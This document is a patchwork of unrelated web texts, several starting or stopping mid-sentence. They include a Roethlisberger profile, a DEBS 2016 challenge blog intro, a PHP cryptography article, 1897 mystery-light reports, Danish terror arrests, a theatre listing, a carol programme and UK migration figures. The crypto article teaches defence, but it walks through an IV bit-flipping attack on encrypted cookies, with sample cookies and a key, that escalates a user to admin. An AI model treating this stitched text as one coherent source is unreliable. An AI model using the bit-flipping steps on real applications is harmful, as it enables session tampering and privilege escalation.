allegations brought to the league.That he was linked to such allegations still troubles Roethlisberger. But nobody, including him, denies that the experience was a transformative event in his life. It marked a line of demarcation between a wildly successful quarterback whose sometimes boorish behavior called his judgment into question and who had seemed removed even from his own teammates, and one who is now something of an elder statesman on a team that, more than ever, relies on his skills and steadiness.Like everyone else in the NFL, Roethlisberger watched the scandals of Rice, Peterson and Hardy engulf the league last season, but Roethlisberger did not think much about his own problems as he saw the others cast out of the game. Roethlisberger has been careful to avoid talking about the various transgressions of other players; if he spent any time at all pondering his own fate while the nation debated whether the NFL has a problem with women, he is not saying."I think you can learn from things in your past," Roethlisberger said. "You learn when you throw an interception or lose a Super Bowl. It's the same thing in life with anything. We go through so many things as human beings. We are all far from perfect. We all have to deal with issues throughout life." Roethlisberger went through counseling during his suspension, and he spent hours talking about his behavior and sometimes apologizing for it. He is comfortable enough now to try to explain the sense of privilege that got him into trouble."You get caught up when you get so much success so fast, especially in a place like this, where the Steelers are such a big deal," Roethlisberger said one morning during training camp. "It does go to your head a little bit. I can admit that. You get caught up in the persona -- Big Ben. It's not always a good thing. When you start believing that's who you are all the time, instead of just on the football field.... It's OK to be that on the football field. I use the analogy, you have to be Clark Kent off the field. You have to be Ben Roethlisberger off the field. I think when that Big Ben starts to get off the field, that's when you run into issues of losing track of who you really are."Roethlisberger enjoyed immediate success after the Steelers made him the 11th overall pick in the 2004 NFL Draft. On a veteran-laden team driven by defense and the running game, Roethlisberger was able to seamlessly slip under center without shouldering the burden of lifting a rebuilding organization with his passing game. The Steelers went 15-1 his rookie year before losing to the Patriots in the AFC title match. The next season, they won the Super Bowl.Roethlisberger had helped persuade running back Jerome Bettis to return for that season by promising him a trip to the title game, an early glimmer of Roethlisberger's leadership abilities emerging. More telling about his football future was how the Steelers leaned more on Roethlisberger's arm during the playoff run. The Roethlis-burger sandwich and Big Ben Beef Jerky were all the rage as Roethlisberger's blue-collar playing style -- he was far from graceful, but tough and willing to take a hit -- appealed especially to Steelers fans steeped in the Steel Curtain image of their team. But within the locker room, there had been early confusion about what to make of Roethlisberger.He frequented the party and golf tournament circuit with veteran players and, Tollner theorizes, wanted the freedom enjoyed by the less recognizable. In hindsight, Tollner admits, being out late at night at a college bar scene was not healthy.Meanwhile, among teammates, Roethlisberger sometimes drew rolled eyes from those who tired of what they perceived as his aloofness and immaturity. Charlie Batch, Roethlisberger's former backup, said he and Roethlisberger had talked about his role in the locker room as far back as 2008, with Batch saying bluntly now: "He wasn't the best teammate.""He had so much success -- you're the savior," said Arizona Cardinals coach Bruce Arians, who joined the Steelers' staff in 2004, served as Roethlisberger's offensive coordinator from 2007 to 2011 and has remained close to him since leaving the team. "At that time in your career, you're going to have some Broadway Joe in you. You've got to have some swagger to play the position. Within your own locker room, you can't be anything other than one of the guys. I think he started thinking he was more than just one of the guys."came in the spring of 2010 -- following a terrifying helmet-less motorcycle crash in 2006 and a 2009 civil lawsuit in Nevada that alleged Roethlisberger had sexually assaulted a woman there in 2008 (a case that was eventually settled in 2012) -- Roethlisberger became a cautionary tale of unbridled athletic entitlement. Despite the two Super Bowls the Steelers had already won with Roethlisberger, fans turned against him so dramatically, deluging Steelers offices with angry calls and emails, that team president Art Rooney II admitted at the time that he was concerned about whether Roethlisberger would be able to win them back.Rooney says now that the Steelers never gave up on Roethlisberger, despite speculation at the time that they were so upset they had contemplated trading him. There were many difficult moments, Rooney said, but the decision to keep Roethlisberger was rooted in the Steelers' belief in the strong family the quarterback was raised in, in the fact that there had been no red flags before he'd reached the NFL and in their conviction that Roethlisberger was sincere in his embarrassment. It was also, of course, a deeply pragmatic call."No. 1, if he wasn't as talented as he was, the team would have cut him," Batch said, explaining one topic he and Roethlisberger discussed that spring. "A lot of people might not have had second or third chances." To the football world, it seemed obvious that having his career on the brink of ruin finally got Roethlisberger's attention. But in fact, it was the private conversations Roethlisberger was having during that period that resonated most painfully and powerfully with him."For me, it was talking to my parents and them saying, 'For a while, we didn't recognize who you were anymore,' " Roethlisberger said. "When your dad or your mom says, 'We felt we couldn't even talk to you about things, you would get so defensive and get angry,' that breaks you down. One of my biggest fears growing up was to disappoint my parents. That's why I never wanted to do anything bad when I was a kid. Because I didn't want them to get disappointed. That's the wakeup call."Roethlisberger talks matter-of-factly about his demeanor in the early part of his career. The phrase that several people around him use to describe the difference now is "comfortable in his skin." Roethlisberger never looks away from a reporter as he recounts even those excruciating conversations with his parents. For anyone who has been around the Steelers with any frequency during Roethlisberger's tenure, the change is obvious. He is friendly and open where once he had seemed cold and a bit obnoxious."At his core, he was a good person," Rooney said. "We know his family. We know the kind of person he wanted to be. He was not a guy who didn't know what he wanted to be."Roethlisberger began the task of returning himself to what he said was the real him with almost no public comments, a calculated decision to not draw more attention to the situation. He chose not to appeal his suspension. Roethlisberger apologized to behind-the-scenes members of the Steelers organization and to reporters who had covered him. He met with his teammates individually.Tollner and Roethlisberger had a critical conversation in which Tollner told Roethlisberger he could lash out and fight back to try to win people over, or he could reflect on his life and try to never give anyone he encountered reason to say anything negative about him again."It was one of those moments when life shakes you and says," Tollner said. "He listened." With the exception of community and charitable events, Roethlisberger slid largely out of public view, effectively making his world a lot smaller, Tollner said. He started seriously dating the woman -- Ashley -- who would become his wife. He avoided going to places where it is difficult to make everybody demanding his attention happy, so he mostly stays out of bars and clubs unless he is with the team. He moved his parents to the Pittsburgh area (Roethlisberger's sister works for the Pittsburgh Pirates).On the day that the Steelers had their first public practice of the 2010 training camp, Roethlisberger was anxious about how fans would receive him. Moments before the players were to leave the locker room for practice, receiver Hines Ward -- who had clashed with Roethlisberger when he thought the QB was overstepping his place in the locker room hierarchy and who had publicly suggested Roethlisberger owed teammates an explanation of his off-field travails -- told Roethlisberger he would walk with him down the long sloping sidewalk, past thousands of fans, to the practice field. It was a very overt benediction from a respected veteran, and after an overwhelmingly warm reception from fans, a relieved Roethlisberger stayed a half-hour after practice ended to sign autographs, winding up in stocking feet because he had given his shoes to kids in the crowd.During his suspension, Roethlisberger worked with quarterback coach George Whitfield, armed with daily scripts from Arians about what he was to work on."The suspension hurt him personally more than anything -- in some ways, it was a 'Come to Jesus' moment, who am I?" Arians said. "But as a player, in that time off, he found a whole new respect for fundamentals."in retrospect, that the Steelers went to the Super Bowl after such a significant distraction. But in the 12 regular-season games he started, Roethlisberger threw 17 touchdown passes against just five interceptions. In every season since then, Roethlisberger's completion percentage and touchdown totals have risen -- in 2014, he completed 67.1 percent of his passes for 4,952 yards (both career highs) and 32 touchdowns (tying his career best). The Steelers had the NFL's second-ranked offense."I told [young running back] Le'Veon Bell when he got here: 'You don't realize this city is about defense, running the ball and winning and then the offense,' " Roethlisberger said, laughing. "That was the priority. I still think the city wants defense, but they also want to win. It is unbelievable how it has evolved and changed. You have to be able to evolve, and it's hard for defenses to stop."The addition of playmakers like Bell and receivers Antonio Brown, Markus Wheaton and Martavis Bryant has helped convince Roethlisberger that even when he has to get rid of the ball quickly, the Steelers now have the personnel to turn short plays into big ones. Todd Haley, the offensive coordinator who replaced Arians, says that Roethlisberger learning to use one of his defining on-field gifts with greater discretion is a critical reason for the offense's success. "He's the best in the world at extending plays and making big plays," Haley said. "That's not a way you can live full-time as you get older. I've tried to get him to see the light on it. It's not third down in the fourth quarter and we're down by a touchdown. It's the first quarter and the game is tied -- it's alright to throw an incompletion and punt."At the start of training camp last year, Roethlisberger stood up in front of the offense and asked why, after all the years that the Steelers were about the Steel Curtain, it couldn't be the offense that led the team to championships. Roethlisberger's performance, in steering the Steelers back to the playoffs, made clear the offense's promise.Roethlisberger has hosted dinners for teammates and organized offseason workouts with his receivers. He takes young teammates aside to deliver pointers during practice, and he is now the veteran cheering on coaches and players when they try to fling a football into a garbage can during a light day of practice. It has all laid the groundwork for Roethlisberger to become, after ceding the role for the first part of his career, the most dominant figure on the team."When I first got here, there was no reason to be rah-rah," said Roethlisberger, who is now the third oldest player on the roster. "You still have younger guys evolving. That's why I don't break down the team every day after practice. I watch them. Maybe when it's a big game or practice, but for me, it's about letting those guys grow."The rebuilding of the man and the renovation of the offense were rewarded this spring, when Roethlisberger received a new contract (worth up to $108 million) that almost certainly will allow him to play out the rest of his career with the Steelers. His wife and two children sat in the front row at the press conference. The Roethlisbergers are scouting local school districts where they will build a house that will continue to be their home even after Roethlisberger retires. In the meantime, Roethlisberger has a big lawn at his current home, and he tends it himself on his riding mower. In the end, Tollner said, Roethlisberger is inherently a homebody. As the Steelers began another training camp this summer, it was time for Roethlisberger to deliver another message. At 33, Roethlisberger is younger than only James Harrison and Michael Vick among Steelers players, and there is a sense of urgency when he considers his age and his contract. He has those two Super Bowl rings, but they seem to be from another time for him and for the Steelers. When Roethlisberger stood in front of the offense this July, there was no need to wonder about its place -- or his -- with the Steelers."The message this year was, it's not going to be handed to us," Roethlisberger said. "We saw the potential. We touched on what we could be. Don't get caught up if your numbers are not as good. We can still be better."The message had evolved. So, it seems, has the messenger.The ACM DEBS Grand Challenge is a yearly competition where the participants implement an event-based solution to solve a real world high-volume streaming data problem.
This year’s grand challenge involves developing a solution to solve two (real world) problems by analyzing a social-network graph that evolves over times. The data for the DEBS 2016 Grand Challenge has been generated using Linked Data Benchmark Council (LDBC) social network data generator. The ranking of the solutions is carried out by measuring their performance using two performance metrics: (1) throughput and (2) average latency.
WSO2’s been submitting solutions to the grand challenge since 2013, and our previous grand challenge solutions have been ranked as one of the top solutions among the submissions. This year, too, we submitted a solution using WSO2 CEP/Siddhi. Based on its performance, this year’s solution has also been selected as one of the best solutions. As a result, we’ve been invited to submit a full paper to the DEBS 2016 conference to be held from 20 June to June 24.
In this blog I’ll present some details of DEBS queries, (a brief) overview our solution and some performance results.
Query 1
As pointed out earlier, DEBS 2016 involves developing an event-based solution to solve two real world use cases |
($decoded, 0, 16, '8bit'); $ciphertext = mb_substr($decoded, 16, null, '8bit'); $decrypted = rtrim( mcrypt_decrypt( MCRYPT_RIJNDAEL_128, $key, $ciphertext, MCRYPT_MODE_CBC, $iv ), "\0" ); return json_decode($decrypted, true); }
The above code provides AES encryption in Cipher-Block-Chaining mode. If you pass a 32-byte string for $key, you can even claim to provide 256-bit AES encryption for your cookies and people might be misled into believing it's secure.
How to Attack Unauthenticated Encryption
Let's say that, after logging into this application, you see that you receive a session cookie that looks like kHv9PAlStPZaZJHIYXzyCnuAhWdRRK7H0cNVUCwzCZ4M8fxH79xIIIbznxmiOxGQ7td8LwTzHFgwBmbqWuB+sQ==.
Let's change a byte in the first block (the initialization vector) and iteratively sending our new cookie until something changes. It should take a total of 4096 HTTP requests to attempt all possible one-byte changes to the IV. In our example above, after 2405 requests, we get a string that looks like this: kHv9PAlStPZaZZHIYXzyCnuAhWdRRK7H0cNVUCwzCZ4M8fxH79xIIIbznxmiOxGQ7td8LwTzHFgwBmbqWuB+sQ==
For comparison, only one character differs in the base64-encoded cookie ( kHv9PAlStPZaZ J vs kHv9PAlStPZaZ Z ):
- kHv9PAlStPZaZJHIYXzyCnuAhWdRRK7H0cNVUCwzCZ4M8fxH79xIIIbznxmiOxGQ7td8LwTzHFgwBmbqWuB+sQ== + kHv9PAlStPZaZZHIYXzyCnuAhWdRRK7H0cNVUCwzCZ4M8fxH79xIIIbznxmiOxGQ7td8LwTzHFgwBmbqWuB+sQ==
The original data we stored in this cookie was an array that looked like this:
array(2) { ["admin"]=> int(0) ["user"]=> "aaaaaaaaaaaaa" }
But after merely altering a single byte in the initialization vector, we were able to rewrite our message to read:
array(2) { ["admin"]=> int(1) ["user"]=> "aaaaaaaaaaaaa" }
Depending on how the underlying app is set up, you might be able to flip one bit and become and administrator. Even though your cookies are encrypted.
If you would like to reproduce our results, our encryption key was 000102030405060708090a0b0c0d0e0f (convert from hexadecimal to raw binary).
Authentication
As stated above, authentication aims to provide both integrity (by which we mean significant tamper-resistance) to a message, while proving that it came from the expected source (authenticity). The typical way this is done is to calculate a keyed-Hash Message Authentication Code (HMAC for short) for the message and concatenate it with the message.
function hmac_sign($message, $key) { return hash_hmac('sha256', $message, $key). $message; } function hmac_verify($bundle, $key) { $msgMAC = mb_substr($bundle, 0, 64, '8bit'); $message = mb_substr($bundle, 64, null, '8bit'); return hash_equals( hash_hmac('sha256', $message, $key), $msgMAC ); }
It is important that an appropriate cryptographic tool such as HMAC is used here and not just a simple hash function.
function unsafe_hash_sign($message, $key) { return md5($key.$message). $message; } function unsafe_hash_verify($bundle, $key) { $msgHash = mb_substr($bundle, 0, 64, '8bit'); $message = mb_substr($bundle, 64, null, '8bit'); return md5($key.$message) == $msgHash; }
These two functions are prefixed with unsafe because they are vulnerable to a number of flaws:
To authenticate a message, you always want some sort of keyed Message Authentication Code rather than just a hash with a key.
Using a hash without a key is even worse. While a hash function can provide simple message integrity, any attacker can calculate a simple checksum or non-keyed hash of their forged message. Well-designed MACs require the attacker to know the authentication key to forge a message.
Simple integrity without authenticity (e.g. a checksum or a simple unkeyed hash) is insufficient for providing secure communications.
In cryptography, if a message is not authenticated, it offers no integrity guarantees either. Message Authentication gives you Message Integrity for free.
Authenticated Encryption
The only surefire way to prevent bit-rewriting attacks is to make sure that, after encrypting your information, you authenticate the encrypted message. This detail is very important! Encrypt then authenticate. Verify before decryption.
Let's revisit our encrypted cookie example, but make it a little safer. Let's also switch to CTR mode, in accordance with industry recommended best practices. Note that the encryption key and authentication key are different.
function setLessUnsafeCookie($name, $cookieData, $eKey, $aKey) { $iv = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM); $ciphertext = mcrypt_encrypt( MCRYPT_RIJNDAEL_128, $eKey, json_encode($cookieData), 'ctr', $iv ); // Note: We cover the IV in our HMAC $hmac = hash_hmac('sha256', $iv.$ciphertext, $aKey, true); return setcookie( $name, base64_encode( $hmac.$iv.$ciphertext ) ); } function getLessUnsafeCookie($name, $eKey, $aKey) { if (!isset($_COOKIE[$name])) { return null; } $decoded = base64_decode($_COOKIE[$name]); $hmac = mb_substr($decoded, 0, 32, '8bit'); $iv = mb_substr($decoded, 32, 16, '8bit'); $ciphertext = mb_substr($decoded, 48, null, '8bit'); $calculated = hash_hmac('sha256', $iv.$ciphertext, $aKey, true); if (hash_equals($hmac, $calculated)) { $decrypted = rtrim( mcrypt_decrypt( MCRYPT_RIJNDAEL_128, $eKey, $ciphertext, 'ctr', $iv ), "\0" ); return json_decode($decrypted, true); } }
Now we're a little closer to our goal of robust symmetric authenticated encryption. There are still a few more questions left to answer, such as:
What happens if our original message ends in null bytes?
Is there a better padding strategy than the one mcrypt uses by default?
uses by default? What side-channels are exposed by the AES implementation?
Fortunately, these questions are already answered in existing cryptography libraries. We highly recommend using an existing library instead of writing your own encryption features. For PHP developers, you should use defuse/php-encryption (or libsodium if it's available for you). If you still believe you should write your own, consider using openssl, not mcrypt.
Note: There is a narrow band of use-cases where authenticated encryption is either impractical (e.g. software-driven full disk encryption) or unnecessary (i.e. the data is never sent over the network, even by folder synchronization services such as Dropbox). If you suspect your problems or goals permit unauthenticated ciphertext, consult a professional cryptographer, because this is not a typical use-case.
Secure Encrypted Cookies with Libsodium
If you wish to implement encrypted cookies in one of your projects, check out Halite. It has a cookie class dedicated to this use case.
<?php use \ParagonIE\Halite\Symmetric\SecretKey; use \ParagonIE\Halite\Cookie; $key = new SecretKey($some32byteString); $cookie = new Cookie($key); $stored = $cookie->fetch('data'); // Then do some stuff: $cookie->store('index', $values);
If you want to reinvent this wheel yourself, you can always do something like this:
/* // At some point, we run this command: $key = \Sodium\randombytes_buf(\Sodium\CRYPTO_SECRETBOX_KEYBYTES); */ /** * Store ciphertext in a cookie * * @param string $name - cookie name * @param mixed $cookieData - cookie data * @param string $key - crypto key */ function setSafeCookie($name, $cookieData, $key) { $nonce = \Sodium\randombytes_buf(\Sodium\CRYPTO_SECRETBOX_NONCEBYTES); return setcookie( $name, base64_encode( $nonce. \Sodium\crypto_secretbox( json_encode($cookieData), $nonce, $key ) ) ); } /** * Decrypt a cookie, expand to array * * @param string $name - cookie name * @param string $key - crypto key */ function getSafeCookie($name, $key) { if (!isset($_COOKIE[$name])) { return array(); } $decoded = base64_decode($_COOKIE[$name]); $nonce = mb_substr($decoded, 0, \Sodium\CRYPTO_SECRETBOX_NONCEBYTES, '8bit'); $ciphertext = mb_substr($decoded, \Sodium\CRYPTO_SECRETBOX_NONCEBYTES, null, '8bit'); $decrypted = \Sodium\crypto_secretbox_open( $ciphertext, $nonce, $key ); if (empty($decrypted)) { return array(); } return json_decode($decrypted, true); }
For developers without access to libsodium (i.e. you aren't allowed to install PHP extensions through PECL in production), one of our blog readers offered an example secure cookie implementation that uses defuse/php-encryption (the PHP library we recommend).
Authenticated Encryption with Associated Data
In our previous examples, we focused on building the encryption and authentication as separate components that must be used with care to avoid cryptographic doom. Specifically, we focused on AES in Cipher Block-Chaining mode (and more recently in Counter mode).
However, cryptographers have developed newer, more resilient modes of encryption that encrypt and authenticate a message in the same operation. These modes are called AEAD modes (Authenticated Encryption with Associated Data). Associated Data means whatever your application needs to authenticate, but not to encrypt.
AEAD modes are typically intended for stateful purposes, e.g. network communications where a nonce can be managed easily.
Two reliable implementations of AEAD are AES-GCM and ChaCha20-Poly1305.
AES-GCM is the Advanced Encryption Standard (a.k.a. Rijndael cipher) in Galois/Counter Mode. This mode is available in the latest versions of openssl, but it is currently not supported in PHP.
is the Advanced Encryption Standard (a.k.a. Rijndael cipher) in Galois/Counter Mode. This mode is available in the latest versions of openssl, but. ChaCha20-Poly1305 combines the ChaCha20 stream cipher with the Poly1305 Message Authentication Code. This mode is available in the libsodium PHP extension.
combines the ChaCha20 stream cipher with the Poly1305 Message Authentication Code. \Sodium\crypto_aead_chacha20poly1305_encrypt() and \Sodium\crypto_aead_chacha20poly1305_decrypt()
In a few years, we anticipate the CAESAR competition will produce a next-generation authenticated encryption mode that we can recommend over these two.
Take-Away
Encryption is not authentication.
Encryption provides confidentiality.
Authentication provides integrity.
Confuse the two at your own peril.
To complete the CIA triad, you need to solve Availability separately. This is not usually a cryptography problem.
And most importantly: Use a library with a proven record of resilience under the scrutiny of cryptography experts rather than hacking something together on your own. You'll be much better off for it.
Further ReadingBefore there was talk of UFOs, manifestations of luminous spheres in the heavens were a cause for consternation among people. This flying object was seen in the skies of La Llanada in the late 19th century.The term UFO refers to an unidentified flying object and was coined in 1947 in the media. This acronym replaced "flying saucer". Some authors note that the ancient chariots of the gods, or the fiery chariot of the Biblical prophet Elijah, or manifestation and abductions and forests and swamps, could be the equivalent of the today's extraterrestrial presence. There is no proof of their existence, although many favor the extraterrestrial hypothesis.Before the phenomenon gained notoriety, there were mysterious events in Alava that drew media attention. From March 3 to March 28, 1897, the 'El Anunciador Vitoriano' newspaper published a series of news items about the'mysterious lights', describing how the'simple peasants' of Yurre, Antezana and Lopidana, close to Vitoria, were 'concerned and even overwhelmed with fright by a mysterious light that appeared every night in the vicinity. Many residents of Vitoria visited the location nightly to catch a glimpse of the phenomenon.The newspaper reported that 'a blood-colored luminous sphere would appear between Yurre and Lopidana at ground level, in the dark of night, making no perceptible sound, amid a distressing silence. The object gave off bright flashes, casting a sinister reddish glow against the tree trunks, the pavement of the road and all of the irregularities of the terrain. Smaller, paler light would break off from the light, wandering playfully through the air, or stopping on the tips of dry branches.'The newspaper provides all manner of details and a truly poetic description: 'The mysterious light does not remain fixed to a given spot, but rather, with a slight waving motion, but never wavering from its given direction, it covers the distance between the point from which it emerged and the town of Otaza, near Estarrona, losing itself in the dense forests of that area." This forest was famous for its enormous trees which disappeared throughout the 20th century.Another paragraph reads: "The luminous sphere has been seen by many, as it can be seen in the far distance. It so happens that a millwright came upon it on the road, flying over his wagon and filling him with terror. A curious townswoman, it is said, opened her window for a better look at the light, and shut it hurriedly upon seeing it was coming toward her."It is evident that the authorities wish to avoid any public alarm, advising the peasantry that the phenomenon described could be the "will o' the wisp" produced by decomposing organic substances, and the fields along the Zadorra and Zalla rivers were heavily composted. But people believed that the mysterious light belonged to an entirely different order of things from the will o' the wisp, and attributable to a different cause.The will o' the wisp, they argued, was bluish or greenish, not very luminous and moving along the ground, occurring only on hot summer nights after heavy rains. They mysterious light of La Llanada, on the other hand, was reddish, highly luminous, moving rather high off the ground and with the characteristic of being spherical, issuing smaller, paler tongues of flame.Naturally, the event gave rise to all sorts of talk and assumptions, resurrecting nearly forgotten legends about witches, elves, wandering spirits, filling local residents with fear, according to the paper.On March 14, 1897 the same newspaper published another story on the phenomenon. "The mysterious light continues to attract the interest of the residents of Victoria, a light whose existence we reported in Thursday's issue. Many have visited, or intend to visit, the places where it appears. The place where it has been seen the most, as we have said, is the area between Antezana and Yurre. Its initial manifestation has been noted as being at the fountain of Lopidana.With further details about the strange phenomenon, we may add that it isn't a single light. On some nights, many were seen in different localities, either in meadows or deep in forests. The journalist then delves into the realm of the fantastic: 'Beside the verdant plain, used by residents of Victoria so often for their picnics, there grows an herb called 'la loca' - an enchanted weed - that sorely distresses anyone stepping on it. The unhappy man who returns by night from Gobeo or another town, and who steps on the enchanted plant, will spin around it over and over, and despite his best efforts to break away, will be unable to do so until the cock crows in Lopidana, and the cliff of Amboto is tinted with the pale hues of dawn."The newspaper reports popular suppositions: Popular fantasy, unable to find a satisfactory explanation to the phenomenon, has taken flight and given rise to legends. The mysterious light, it is said, is a lost soul allowed to exit purgatory by the grace of God to seek prayers that will speed its entrance into the mansions of eternal bliss.On one occasion it was visible from the Tower of San Miguel. On March 17, a group formed by some 200 people, beheld a bright white light over the houses as they stood at Calle de la Estacion, near the Hotel Quintanilla. It was looked upon with admiration in the belief that it was the famous and enigmatic "Light of Antezana". Day after day, the newspaper kept feeding the mysterious phenomenon with new accounts aimed at explaining the mysterious glow.A final news item on the mysterious light appeared on March 27, telling us the following: "The strange Antezana phenomenon, made known far and wide by the local press and that of Madrid and the provinces, is resistant to any explanation that will satisfy troublesome curiosity. As to its cause, you will recall that we said in early numbers that its probable origin was most likely emanations of phosphorated hydrogen appearing in swamps and cemeteries, and more commonly known as the will o' the wisp.“The arrests took place as part of the efforts against people who are recruited to terror groups in war-torn areas in Syria and northern Iraq and on the basis of cooperation between authorities involved in the coordinated action against foreign fighters,” Copenhagen Police wrote in a press release.
All four were suspected of breaking Denmark's terrorism law while in Syria, police said. Under Danish terrorism law, "letting oneself be recruited to commit acts of (terrorism)" is punishable with up to six years in jail. Police said that ammunition and weapons were found at one address, but that the address belonged to someone who is has known gang ties. "We have found some weapons and some ammunition. Now we will see if that has anything to do with these people," police spokesman Poul Kjeldsen said at a press conference.
In the Vejledalen neighbourhood in Copenhagen's southwest suburb of Ishøj, janitor Michael Harsfort said he was working when "suddenly two big cars came in at high speed".
"Out poured police officers in camouflage gear with machine guns," he told broadcaster TV 2. Media reports said that one of the apartments searched in another area was linked to a 27-year-old man whose name appeared in leaked documents that were given to Britain's Sky News, containing information on jihadists who have joined Isis. Sky reported last month that a disillusioned former Isis member had given the channel tens of thousands of documents containing the names, addresses, phone numbers and family contacts of those joining the group. On Friday, the four individuals will face a preliminary hearing behind so-called ‘double locked doors’, meaning that the details of the case will be kept from the public. Justice Minister Søren Pind wrote on Facebook that the arrests were an important step in Denmark's efforts to hold foreign fighters accountable upon their return to the country.
"We know that people who have fought for IS in Syria or Iraq can present a particular security threat against Denmark," Pind wrote.
According to a recently-released report, 62 former foreign fighters are now believed to be back in Denmark. That report, from the Hague-based International Centre for Counter-Terrorism, estimated that around 4,000 Europeans have travelled to Syria and Iraq to join extremist groups as foreign fighters.
So far only one returning Syria fighter in Denmark has been charged with joining a terrorist organisation.Long Beach Shakespeare Company Recreates Panic Broadcast for Halloween!
The War of the Worlds, written by H.G. Wells as conceived by Orson Welles / Adapted by Howard W. Kochreturns to incite Long Beach audiences Halloween weekend.
On October 30th, 1938, radio listeners tuned in to CBS, expecting a dramatic adaptation of a literary classic, and heard what sounded like an actual news bulletin announcing the landing of a Martian spacecraft. “Ladies and gentlemen, this is the most terrifying thing I have ever witnessed…Someone’s crawling out of the hollow top…The whole field’s caught fire…It’s coming this way. About twenty yards to my right—”
The broadcast included interviews with scientists, military personnel, and government officials, all following the progress of the alien invaders. There was “live coverage” from scenes of mass destruction and reports of citizens rushing out of town to escape the poison gas attacks. People panicked across America! The action is told in newscasts, and The war-worried American public mistook the broadcast for an actual invasion alert.
The performance includes a mix of live and recorded sound effects. Also included will be a presentation (with a slide show) from Mat Kaplan, host and producer of Planetary Radio, the Planetary Society’s weekly public radio series and podcast about space exploration. Kaplan will give an update on what is currently known about the Red Planet.
LBSC will perform this dramatic adaptation before a live audience on Thursday-Saturday, October 27-29 at 8 pm, and Monday-Sunday nights (October 30 and Halloween night) at 7 pm.
At the Richard Goad Theatre, 4250 Atlantic Avenue, in Long Beach. Tickets are $15.00 general / $10.00 students. Tickets and info for War of the Worlds Long Beach Shakespeare Company website or at 562-997-1494.From the candlelit chapel of King's College, Cambridge, and based around nine Bible readings interspersed with Christmas hymns and carols sung by the world-famous chapel choir.
Live from the Chapel of King's College, Cambridge
Hymn: Once in Royal David's City (desc. David Willcocks)
Bidding Prayer read by the Dean
What Sweeter Music? (John Rutter)
First lesson: Genesis 3 vv 8-19 read by a Chorister
This is the truth sent from above (Ralph Vaughan Williams)
Adam Lay Ybounden (Boris Ord)
Second lesson: Genesis 22 vv 15-18 read by a Choral Scholar
Ding, Dong, Merrily on High (David Willcocks)
In Dulci Jubilo (Robert Lucas Pearsall)
Third lesson: Isaiah 9 vv 2, 6-7 read by a member of the College staff.
Sussex Carol (arr. David Willcocks)
Hymn: It came upon the midnight clear (desc. Stephen Cleobury)
Fourth lesson: Isaiah 11 vv 1-3a, 4a, 6-9 read by a representative of the City of Cambridge.
A Tender Shoot (arr. Otto Goldschmidt)
A Spotless Rose (Philip Ledger)
Fifth lesson: Luke 1 vv 26-38 read by the Master over the Choristers.
The Angel Gabriel from Heaven Came (arr. David Willcocks)
Nova, Nova (John Scott)
Sixth lesson: Luke 2 vv 1 -7 read by the Chaplain
In The Bleak Midwinter (Harold Darke)
Dormi, Jesu (John Rutter)
Seventh lesson: Luke 2 vv 8-16 read by the Director of Music
The Shepherd's Carol (Bob Chilcott)
Hymn: God Rest You Merry, Gentlemen (arr. David Willcocks)
Eighth lesson: Matthew 2 vv 1-12 read by the Vice-Provost
The Flight (Richard Causton - newly commissioned)
Here is the Little Door (Herbert Howells)
Ninth lesson: John 1 vv 1-14 read by the Provost
Hymn: O come, all ye faithful (arr. David Willcocks)
Blessing
Hymn: Hark, the Herald Angels Sing (arr. David Willcocks)
Organ voluntaries:
In dulci jubilo (BWV 729) (Bach)
Sortie on 'In dulci jubilo' (David Briggs) [broadcast on Radio 3 on Christmas Day only]
Director of Music: Stephen Cleobury
Organ Scholar: Tom Etheridge
Producer: Philip Billson
For many around the world, A Festival of Nine Lessons and Carols, live from the candlelit Chapel of King's College, Cambridge, marks the beginning of Christmas. It is based around nine Bible readings which tell the story of the loving purposes of God. They are interspersed with carols old and new, sung by the world-famous chapel choir who also lead the congregation in traditional Christmas hymns.
Explanatory notes from Director of Music Stephen Cleobury:
"This year's selection has a very strong King's basis. The commissioned carol is from Richard Causton, a Fellow of King's College, and a university lecturer in composition. He has, in turn, commissioned a new text from George Szirtes, which has strong contemporary resonances.
In September we heard the sad news of the death of one of my predecessors here at King's, the legendary Sir David Willcocks. His many carol arrangements and descants are known the world over, and we include a number of these. Near the beginning and the end are pieces by Vaughan Williams and Howells, both composers having been very closely associated with David Willcocks.
Also, during the summer, the world of church and organ music mourned the loss of John Scott, whose setting of Nova, Nova comes after the Annunciation lesson.
We mark the 70th birthday of John Rutter by including two of the carols he has written for King's over the years. Bob Chilcott, 60 this year, is a former chorister and choral scholar of King's, and his commission for the Choir is also programmed.
Carols by Boris Ord, Harold Darke and Philip Ledger also find a place. Ord and Ledger were, respectively, the predecessor and successor of Willcocks, while Darke looked after the Choir during WW2."
Notes on the commissioned carol - Richard Causton writes:
Earlier this year I spent a great deal of time in libraries looking for a suitable text for my new carol and although I unearthed many old and very beautiful poems about the Nativity, I struggled to find one that I really wanted to set to music. I had a growing sense that at this precise moment it is perverse to be writing a piece about a child born in poverty, away from home and forced to flee with his parents, without in any way paying reference to the appalling refugee crisis that is currently unfolding.
I phoned my friend, the poet George Szirtes to ask if he might be prepared to write me a poem which could encompass some of these ideas. By complete coincidence, the very day I phoned he was in Hungary, at Budapest railway station talking to the refugees who were stuck there while trying to leave the country. Within days, George sent me a poem that is at once beautiful, eloquent and hard-hitting.Estimated net migration to the UK reached a record 336,000 in the year to June, Office for National Statistics (ONS) figures have shown.
The figure - the difference between the number of people arriving and leaving - was 82,000 more than the previous year.
Jay Lindop, from the ONS, said the majority of people over the last year came to the UK for work or study.
The government said it highlighted the challenge to reduce net migration to "sustainable levels".
Downing Street aims to get net migration down to five figures by 2020.
UKIP leader Nigel Farage said the statistics showed the government's "complete failure to control immigration" and urged people to vote to leave the EU in the "in/out" referendum expected by the end of 2017.
The net migration figure was also higher than the last provisional data, which showed the index at what was then a record 330,000 in the 12 months to March. This has since been revised up to 336,000 as well.
The ONS data revealed that:
Net migration of European Union (EU) citizens showed an increase of 42,000 to 180,000, with the number from countries outside the bloc also up 36,000 to 201,000
In all, 294,000 people migrated to the UK for work, two thirds of whom had a definite job
The number of EU nationals working in the UK stood at two million from July to September, an increase of 324,000 compared to the same quarter last year
A total of 50,000 Romanians and Bulgarians came to the UK in the year to June, a rise of 19,000; restrictions on citizens from the two countries working in the UK were lifted in January last year
Romania is now in the top five countries where those coming to the UK last lived for the first time, accounting for 6% of all immigration
Ms Lindop, head of population statistics at the ONS, said the latest net migration figure "remains the highest on record".
Meanwhile, separate Home Office figures revealed the number of people claiming asylum in the UK has reached its highest level for 12 years.
Applications between July and September totalled 10,156 - the highest number for any three-month period since 2003 and a 64% rise on the previous three months
